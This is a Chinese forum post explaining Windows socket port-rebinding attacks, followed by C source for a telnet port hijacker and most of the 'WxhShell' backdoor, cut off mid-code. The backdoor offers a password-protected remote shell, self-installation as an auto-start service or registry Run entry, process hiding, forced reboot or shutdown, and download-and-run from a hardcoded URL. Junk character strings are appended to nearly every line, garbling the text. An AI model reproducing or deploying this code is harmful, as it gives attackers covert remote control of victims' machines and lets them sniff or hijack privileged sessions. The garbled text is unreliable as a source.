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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #0?"J)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vNC$f(cQ  
=wIdC3Ph  
  saddr.sin_family = AF_INET; yp[<9%Fi  
dThn?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bIb6yVnHi  
u+mjguIv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k+WO &g*|  
*#Lsjk~_-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C`NBHRa>  
V4`:Vci Aw  
  这意味着什么?意味着可以进行如下的攻击: iJ`%yg,  
qXrt0s[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #JL&]Z+X6  
A;fB6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -YzQ2#K  
l$k]O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3R<ME c  
IW1GhZ41'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1A%N0#_(Md  
tDC0-N&6S~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MPKpS3VS  
~j/bCMEf!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1N!Oslum  
<pTQpU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 er[" NSo  
~^lH ^J   
  #include 4i_spF-3  
  #include .Bb$j=  
  #include Em~7D ]Y  
  #include    HF &h  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7oZ@<QP'  
  int main() nd$H 3sf  
  { |~@x4J5,  
  WORD wVersionRequested; aW0u8Dz  
  DWORD ret; RNv{n mf  
  WSADATA wsaData; t(J![wB}  
  BOOL val; 0Y5LDP  
  SOCKADDR_IN saddr; +={  
  SOCKADDR_IN scaddr; *F\T}k7  
  int err; mJ0}DJiX$  
  SOCKET s; x[vpoB+c  
  SOCKET sc; g(-;_j!=  
  int caddsize; IvEMg2f}  
  HANDLE mt; 2YL`3cgfb  
  DWORD tid;   94~"U5oQ:  
  wVersionRequested = MAKEWORD( 2, 2 ); 4*0:bhhhf_  
  err = WSAStartup( wVersionRequested, &wsaData ); "XGD:>Q.  
  if ( err != 0 ) { vnz[w=U  
  printf("error!WSAStartup failed!\n"); r+t ,J|V  
  return -1; |rr$U  
  } "bD+/\ z  
  saddr.sin_family = AF_INET; @T<ad7g-2J  
   c@RT$Q9j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 opm?':Qst  
E|HSwTHe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9U#\nXM  
  saddr.sin_port = htons(23); Z{Vxr*9oO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +dqk 6RE  
  { OZ(Dpx(Q  
  printf("error!socket failed!\n"); a$C2}  
  return -1; Ho|o,XvLv  
  } N7e`6d!  
  val = TRUE; <\ y!3;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I*^5'N'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 44\!PYf7  
  { KKLR'w,A>  
  printf("error!setsockopt failed!\n"); ]YCPyc:  
  return -1; TRF]i/Bs  
  } O!:QJ ^8 d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -h>Z,-DE6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r0)JUc}Fyq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ! G*&4V3Mg  
1S+;ZMk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7)B&(2D&  
  { x1t{SQ-C  
  ret=GetLastError(); ctp?y  
  printf("error!bind failed!\n"); {/-y>sm  
  return -1; mbF(tSy  
  } +J"'  'cZ  
  listen(s,2); n4^~gT%b5]  
  while(1) LMAmpVo  
  { 4F}Pu<;  
  caddsize = sizeof(scaddr); M0RRmW@f.a  
  //接受连接请求 tS?a){^:c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9GO}&7   
  if(sc!=INVALID_SOCKET) '#O;mBPNi  
  { 3Bejp+xX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A/!<kp{S  
  if(mt==NULL)  ci`zR9Ks  
  { n%F-cw  
  printf("Thread Creat Failed!\n"); Z+NF(d  
  break; #X#8ynt  
  } W0Ktw6  
  } (jMtN?&0H-  
  CloseHandle(mt); 8QT<M]N%  
  } St6aYK  
  closesocket(s); C`dkD0_  
  WSACleanup(); ypH8QfxLTr  
  return 0; B9YsA?hg  
  }   9*4 .  
  DWORD WINAPI ClientThread(LPVOID lpParam) /$;,F't#2M  
  { #S%4?   
  SOCKET ss = (SOCKET)lpParam; & B}Lo  
  SOCKET sc; >L^xlm%7o  
  unsigned char buf[4096]; Yg/}ghF\  
  SOCKADDR_IN saddr; q7|:^#{av  
  long num; J5;5-:N  
  DWORD val; ndr)3tuYu  
  DWORD ret; s8^~NX(xdy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q8;#_HE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (/&;jV2DD[  
  saddr.sin_family = AF_INET; ^ pj>9%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qB:AkMd&  
  saddr.sin_port = htons(23); ,I ZqLA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .hKhrcQp  
  { 'qjX$]H  
  printf("error!socket failed!\n"); 'fIHUw|  
  return -1; rOW;yJ[  
  } Kv}k*A% S  
  val = 100; %4,xx'`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U 2bzUxK  
  { 6JSY56v  
  ret = GetLastError(); P'sfi>A  
  return -1; s _~IZ%+<.  
  } A#(`9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ur6e&bTp  
  { bw9 nB{C<  
  ret = GetLastError(); ]BfS270  
  return -1; vs +QbI6>-  
  } -j&Vtr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Rvf/-e  
  { 8.yCA  
  printf("error!socket connect failed!\n"); c_#*mA"+  
  closesocket(sc); 1fY>>*oP  
  closesocket(ss); ><=rIhG%H@  
  return -1; }z wX  
  } Yrxk Kw#  
  while(1) LKx`v90p  
  { xI?0N<'.*q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eRs&iK2y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ox[ .)v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mZ7B<F[qV  
  num = recv(ss,buf,4096,0); r2nBWA3  
  if(num>0) p>q&&;fe  
  send(sc,buf,num,0); n3$gx,KL  
  else if(num==0) lm$;:Roj*  
  break; P`EgA  
  num = recv(sc,buf,4096,0); 3rNc1\a;  
  if(num>0) T`\]!>eb  
  send(ss,buf,num,0); "]#'QuR  
  else if(num==0) ul@3 Bt  
  break; *g_w I%l  
  } UW6VHA>  
  closesocket(ss); 26.)Ur<F  
  closesocket(sc); e[{mVhg4E  
  return 0 ; 'w.}2(  
  } d; =u  
!^iwQ55e2A  
2 z7}+lH  
========================================================== qfYG.~`5  
t`YWwI.  
下边附上一个代码,,WXhSHELL E]1##6Ae  
V&*D~Jq  
========================================================== tuLH}tkNY  
u1^\MVO8  
#include "stdafx.h" ?YBaO,G9o  
]g,lRG  
#include <stdio.h> *~2cG;B"e  
#include <string.h> Pu;yEh  
#include <windows.h> uw33:G  
#include <winsock2.h> t'g^W  
#include <winsvc.h> ;iU%Kt  
#include <urlmon.h> % 5z gd>  
HCj> ,^<h  
#pragma comment (lib, "Ws2_32.lib") mI"D(bx\  
#pragma comment (lib, "urlmon.lib") ` 1+%}}!$u  
w"8V0z  
#define MAX_USER   100 // 最大客户端连接数 ~}Z'0W)Q`z  
#define BUF_SOCK   200 // sock buffer :, _!pe;H  
#define KEY_BUFF   255 // 输入 buffer TQc@lR!  
?3q@f\fZ  
#define REBOOT     0   // 重启 M'2r@NR8  
#define SHUTDOWN   1   // 关机 aQUGNa0+d  
pOA!#Aj)  
#define DEF_PORT   5000 // 监听端口 m#\[m<F  
,Dp0fauJ  
#define REG_LEN     16   // 注册表键长度 kRlA4h1u_$  
#define SVC_LEN     80   // NT服务名长度 q]FBl}nwl%  
 3-|3`(  
// 从dll定义API =6\LIbO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .z-UOyer  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UpfZi9v?W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J,5+47b1}R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x[X`a  
$a(`ve|  
// wxhshell配置信息 1~\M!SQ)  
struct WSCFG { >c~RI7uu  
  int ws_port;         // 监听端口 m`}{V5;  
  char ws_passstr[REG_LEN]; // 口令 IQnIaZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no z9DcnAs  
  char ws_regname[REG_LEN]; // 注册表键名 U~H?4Izl=  
  char ws_svcname[REG_LEN]; // 服务名 7-* =|gl+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V%NeZ1{ e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K_ke2{4Jm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UyiJU~r1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g"K>5Cb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0.Vi9 7`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a]B[`^`z  
U|5-0u5  
}; ,_ .v_  
fS=hpL6]@  
// default Wxhshell configuration uMmXs% 9T  
struct WSCFG wscfg={DEF_PORT, <f>akT,W  
    "xuhuanlingzhe", h`Tz5% n  
    1, L/Vx~r`P  
    "Wxhshell", (9C<K<  
    "Wxhshell", Kat&U19YH  
            "WxhShell Service", +Qj(B@ i  
    "Wrsky Windows CmdShell Service", F)Oe9x\/  
    "Please Input Your Password: ", [6tSYUZs  
  1, rs-,0'z,7  
  "http://www.wrsky.com/wxhshell.exe", )T|L,Lp  
  "Wxhshell.exe" Y)|N"f;  
    }; .`p&ATg v  
{5j66QFoo  
// 消息定义模块 fex,z%}p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <1"+,}'x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )L5i&UK.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X.FGBR7=q  
char *msg_ws_ext="\n\rExit."; )rm4cW_  
char *msg_ws_end="\n\rQuit."; Or0O/\D)  
char *msg_ws_boot="\n\rReboot..."; f_=~H<j!  
char *msg_ws_poff="\n\rShutdown..."; ,S&z<S_  
char *msg_ws_down="\n\rSave to "; k'3Wt*i  
6.c^u5;  
char *msg_ws_err="\n\rErr!"; (gXN%rsY  
char *msg_ws_ok="\n\rOK!"; Vba.uKNjk  
(zcLx;N  
char ExeFile[MAX_PATH]; 1/Zh^foG  
int nUser = 0; ,wAz^cK|  
HANDLE handles[MAX_USER]; j !H^-d}q  
int OsIsNt; S\#17.=  
bC6oqF'#  
SERVICE_STATUS       serviceStatus; l"+J c1\X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SA"8!soY3  
*d*,Hqn  
// 函数声明 hdma=KqZ(  
int Install(void); ]$b2a&r9  
int Uninstall(void); *rh,"Zo  
int DownloadFile(char *sURL, SOCKET wsh); #,NvO!j<4  
int Boot(int flag); #& ?g %'  
void HideProc(void); mUoIJ3fv_,  
int GetOsVer(void); 5:.{oSy7n  
int Wxhshell(SOCKET wsl); vbG]mMJ  
void TalkWithClient(void *cs); BS 1Ap  
int CmdShell(SOCKET sock); B.dT)@Lx0  
int StartFromService(void); 1;F`c`0<  
int StartWxhshell(LPSTR lpCmdLine); vVxD!EL  
I]`-|Q E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gVR@&bi7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mY7>(M{  
qxOi>v0\H  
// 数据结构和表定义 [1yq{n=  
SERVICE_TABLE_ENTRY DispatchTable[] = 0JjUAxNq  
{ R.9V,R5  
{wscfg.ws_svcname, NTServiceMain}, j2 %^qL  
{NULL, NULL} a;AzY'R  
}; Dt|)=a  
8V/L:h#7  
// 自我安装 ~+6Vdx m  
int Install(void) L=; -x9  
{ yd_ (?V&;_  
  char svExeFile[MAX_PATH]; vX|UgK?2^  
  HKEY key; F7*wQ{~  
  strcpy(svExeFile,ExeFile); }T_Te?<&  
mN_Z7n;^eh  
// 如果是win9x系统,修改注册表设为自启动 c3TKl/  
if(!OsIsNt) { #FxPj-3(ix  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jM)C4ii.-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yV_wDeAz  
  RegCloseKey(key); A!i q->+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LW)H"6v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9ooY?J  
  RegCloseKey(key); IH *s8tPc  
  return 0; jNDx,7F-  
    } yHo[{,4itA  
  } GEUg]nw  
} w?Ju5 5  
else { R9+jW'[K  
V9NTs8LKc  
// 如果是NT以上系统,安装为系统服务 @~td`Z?1 y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *Mc7f?H  
if (schSCManager!=0) w8Sv*K  
{ "2ru7Y"  
  SC_HANDLE schService = CreateService _HOIT  
  ( r=.A'"Kf  
  schSCManager, E0n6$5Uc?  
  wscfg.ws_svcname, b \7iY&.C|  
  wscfg.ws_svcdisp, $FTO  
  SERVICE_ALL_ACCESS, m"eteA,"k_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )RgGcHT@  
  SERVICE_AUTO_START, ,5 j"ruZ  
  SERVICE_ERROR_NORMAL, >o,^b\  
  svExeFile, /#NYi,<{X  
  NULL, Gbpw5n;e  
  NULL, rZXrT}Xh{W  
  NULL, !A3-0zN!  
  NULL, bPK Ow<  
  NULL `_ %S  
  ); aW_oD[l  
  if (schService!=0) PUJ2`iP1^3  
  { 68fiG  
  CloseServiceHandle(schService); G"5D< ]  
  CloseServiceHandle(schSCManager); .wA+S8}S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {y=W6uP  
  strcat(svExeFile,wscfg.ws_svcname); T4/fdORS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w'4AJ Q|;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :nN1e  
  RegCloseKey(key); W*DVi_\$y  
  return 0; C BYX]  
    } PQmq5N6  
  } 75T_Dx(H  
  CloseServiceHandle(schSCManager); h"mi"H^o  
} ji1HV1S  
} VZka}7a  
'wasZ b<^  
return 1; UB`ToE|Ii  
} Df =dt  
YV% 5y1 i  
// 自我卸载 h Ov={:  
int Uninstall(void) PC$CYW5  
{ rHge~nY<  
  HKEY key; J@pb[OL,  
( lm&*tKm  
if(!OsIsNt) {  +ECDD'^!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Q%vK*n  
  RegDeleteValue(key,wscfg.ws_regname); ] Wy)   
  RegCloseKey(key); Psura$:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A5:qKaAq  
  RegDeleteValue(key,wscfg.ws_regname); BaF!O5M  
  RegCloseKey(key); u6V/JI}g  
  return 0; MB ju![n  
  } [D "t~QMr  
} %=we `&  
} Z7rJ}VP  
else { Cb t{ H}I3  
]M>9ULQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F7L&=K$2y  
if (schSCManager!=0) d6{Gt"  
{ gbeghLP[?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -$VZte x  
  if (schService!=0) dC e4u<so\  
  { 5<pftTcZ  
  if(DeleteService(schService)!=0) {  MTER(L  
  CloseServiceHandle(schService); mP38T{  
  CloseServiceHandle(schSCManager); Jb)#fH$L  
  return 0; YYEJph@06q  
  } ,d+fDmm3  
  CloseServiceHandle(schService); WO4=Mte?  
  } =o}"jVE  
  CloseServiceHandle(schSCManager); nMfFH[I4  
} /v|"0  
} UUKP"  
m"\:o  
return 1; .o1^Oh  
} B&+`)E{KB  
Yb i%od&  
// 从指定url下载文件 u cwnA  
int DownloadFile(char *sURL, SOCKET wsh) ev0oO+u  
{ w@-PqsF  
  HRESULT hr; W6T|iZoV"r  
char seps[]= "/"; N..j{FE  
char *token; /yz=Cjoz  
char *file; 8[CB>-9  
char myURL[MAX_PATH];  |{* }|  
char myFILE[MAX_PATH]; ,mS/h~-5n  
SVlua@]ChU  
strcpy(myURL,sURL); Ok7t@l$  
  token=strtok(myURL,seps); w~_;yQ  
  while(token!=NULL) o@]So(9f  
  { 07Gv*.  
    file=token; ^,F;M`[  
  token=strtok(NULL,seps); 6$a$K,dZ  
  } $WYbm}j  
I$NhXZ)KT  
GetCurrentDirectory(MAX_PATH,myFILE); EV#MQM  
strcat(myFILE, "\\"); tt?58dm|  
strcat(myFILE, file); -7/s]9o'  
  send(wsh,myFILE,strlen(myFILE),0); JXG"M#{  
send(wsh,"...",3,0); zf4Ec-)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I1X /Lj=  
  if(hr==S_OK) M<SdPC(+  
return 0; &1l=X]%  
else IKMeJ(:S  
return 1; {e|*01hE  
.6O"| Mqb  
} o-xDh7v  
di)*-+  
// 系统电源模块 9!9Z~ /*m  
int Boot(int flag) W3vi@kb]  
{ !3i Gz_y  
  HANDLE hToken;  rhpPCt  
  TOKEN_PRIVILEGES tkp; zWpqJK   
FJ*i\Q/D  
  if(OsIsNt) { ] sz3]"2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i,V;xB2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nJRS.xs  
    tkp.PrivilegeCount = 1; mS#zraJn5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ccCzu6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %N;!+ ;F_g  
if(flag==REBOOT) { Tmh(= TB'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a$"ib  
  return 0; 87 }&`  
} fP3_d  
else { 9_\'LJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;fw1  
  return 0; ky 8ep  
} ml@2wGyf  
  } tNsPB6 Z  
  else { ,D\GGRw  
if(flag==REBOOT) { nA|.t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S[tE&[$(p  
  return 0; nf 1#tlIJd  
} IchCACK  
else { J};z85B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2<&Bw2  
  return 0; -p-B2?)A  
} `X,yM-(  
} Qr1e@ =B  
ZpUCfS)|&  
return 1; j8|g!>Nv  
} =fm]Dl9h*  
Ggh.dZI4  
// win9x进程隐藏模块 MYBx&]!\  
void HideProc(void) yCJFo  
{ r]W  
7nbB^2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _#$ *y  
  if ( hKernel != NULL ) ?JV|dM  
  { #j@71]GI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V{|}}b?w?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2tROT][J%  
    FreeLibrary(hKernel); ZKg{0DY  
  } Ca%g_B0t  
}SIGPVM  
return; oG$)UTzGc  
} L lBN-9p  
liR ?  
// 获取操作系统版本 :K\mN/ x  
int GetOsVer(void) O62b+%~F  
{ pV6d Id  
  OSVERSIONINFO winfo; K1V#cB WO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {;2vmx9  
  GetVersionEx(&winfo); ]"c+sMW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h^ -. ]Y  
  return 1; )1g"?]  
  else #fj/~[Ajv  
  return 0; 2F%W8Y 3  
} LZ@|9!KDw  
&z"krM]G  
// 客户端句柄模块 j CTAKaq  
int Wxhshell(SOCKET wsl) +0),xu  
{ ;['[?wk  
  SOCKET wsh; H+ h07\? %  
  struct sockaddr_in client; x8;`i$  
  DWORD myID; '0$?h9"  
&V>fYgui  
  while(nUser<MAX_USER) yr#5k`&\_  
{ AmwWH7,g  
  int nSize=sizeof(client); 4tSv{B/}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Cjd.0T=(  
  if(wsh==INVALID_SOCKET) return 1; lTU$0CG  
b$k&dT\o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B\g]({E  
if(handles[nUser]==0) _(m't n>   
  closesocket(wsh); kE TT4U  
else z} '!eCl  
  nUser++; 8q`$y$06Dk  
  } ^-FRTC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |[9?ma  
&C>/L;  
  return 0; GE|+fYVM-$  
} ~[k%oA%W  
UD~p'^.m_  
// 关闭 socket $D31Q[p=+  
void CloseIt(SOCKET wsh) PA6=wfc  
{ mAk{"65V  
closesocket(wsh); .qk]$LJF7  
nUser--; eMRar<)+#*  
ExitThread(0); `.y}dh/+0W  
} ??hJEE  
%+ZJhHT  
// 客户端请求句柄 $,xnU.n  
void TalkWithClient(void *cs) bqanFQj  
{ |^28\sm2e  
r%DFve:%  
  SOCKET wsh=(SOCKET)cs; 50dGBF  
  char pwd[SVC_LEN]; %AOIKK5  
  char cmd[KEY_BUFF]; ]nhr+;of/-  
char chr[1]; b;|55Y  
int i,j; KYJjwXT28W  
`:'w@(q  
  while (nUser < MAX_USER) { lyCW=nc  
y/V%&.$o=  
if(wscfg.ws_passstr) { \:> Wpqw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *&AfR8x_z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {{C`mgC  
  //ZeroMemory(pwd,KEY_BUFF); ::n;VY2&  
      i=0; qH"Gm  
  while(i<SVC_LEN) { Lp5U"6y  
W)(^m},*8D  
  // 设置超时 xf%4, JQ  
  fd_set FdRead; }FF W|f  
  struct timeval TimeOut; H"2uxhdLK3  
  FD_ZERO(&FdRead); F_xbwa*=  
  FD_SET(wsh,&FdRead); ?=GXqbS"  
  TimeOut.tv_sec=8; 8+m H:O  
  TimeOut.tv_usec=0; S' dV>m`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6.t',LTB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); crO@?m1  
CukC6u b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _WX#a|4h{  
  pwd=chr[0]; 569}Xbc/  
  if(chr[0]==0xd || chr[0]==0xa) { $4jell  
  pwd=0; +7Kyyu)y@  
  break; &;LqF#ZL  
  } I *c;H I  
  i++; 2!N8rHRt  
    } J==SZ v  
UR(-q  
  // 如果是非法用户,关闭 socket *M7E#bQ5B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1GEK:g2B  
} R];Ox e  
elG;jB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UEak^Mm;=2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Ij-Ilg)%  
i?Ss:v^  
while(1) { ,wwZI`>-  
> Oh?%%6  
  ZeroMemory(cmd,KEY_BUFF); *9ywXm&?  
Ba\6?K  
      // 自动支持客户端 telnet标准   3p?KU-  
  j=0; T+LJ* I4  
  while(j<KEY_BUFF) { 7z_;t9Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `"vZ);i <  
  cmd[j]=chr[0]; pIW I  
  if(chr[0]==0xa || chr[0]==0xd) { Es5  
  cmd[j]=0; KC e13!  
  break; |L_wX:d`9  
  } _DRrznaw  
  j++; W;?(,xx  
    } :5GZ\Z8F  
5>9Y|UU  
  // 下载文件 JT[*3 h  
  if(strstr(cmd,"http://")) { uhN%Aj\iu(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fIoIW&iy  
  if(DownloadFile(cmd,wsh)) ;0ME+]`"3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! #wdVe_(  
  else ()PKw,pD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F2(q>#<_  
  } v;{{ y-  
  else { GC8}X;((Y  
DOm[*1@^  
    switch(cmd[0]) { ujW1+Oj=~  
  h72UwJ2rw  
  // 帮助 4VN aq<8  
  case '?': { Z?i /r5F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *cWmS\h|  
    break; `Lyq[zg8  
  } KsAH]2Q%  
  // 安装 F=G{)*Ih  
  case 'i': { j:5%ppIY  
    if(Install()) ,1Qd\8N9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 31Cq22"  
    else m9M FwfZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jc_\'Gr+[  
    break; HOt>}x  
    } E04l|   
  // 卸载 ^=cXo<6D  
  case 'r': { mN0=i(H<  
    if(Uninstall()) b M;`s5d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vUQFQ  
    else 7J>Gd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (7lBID4  
    break; l#3($QV,  
    } oN[Th  
  // 显示 wxhshell 所在路径 >=ot8%.!,B  
  case 'p': { 2k7bK6=nm  
    char svExeFile[MAX_PATH]; H;<!TX.zD  
    strcpy(svExeFile,"\n\r"); HU B|bKy  
      strcat(svExeFile,ExeFile); (.K\Jg'Y6j  
        send(wsh,svExeFile,strlen(svExeFile),0); \zXlN  
    break; x:K?\<  
    } ~#M d"3  
  // 重启 xu%'GZ,o9  
  case 'b': { KB{RU'?f|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vnX  
    if(Boot(REBOOT)) ~4.r^)\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tP ~zKU  
    else { .M|>u_<Qd  
    closesocket(wsh); f<[jwhCWV  
    ExitThread(0); i~=s^8n`l  
    } s #:%x#  
    break; c yQ(fIYl  
    } !J>A,D"-  
  // 关机 'TN)Lb*  
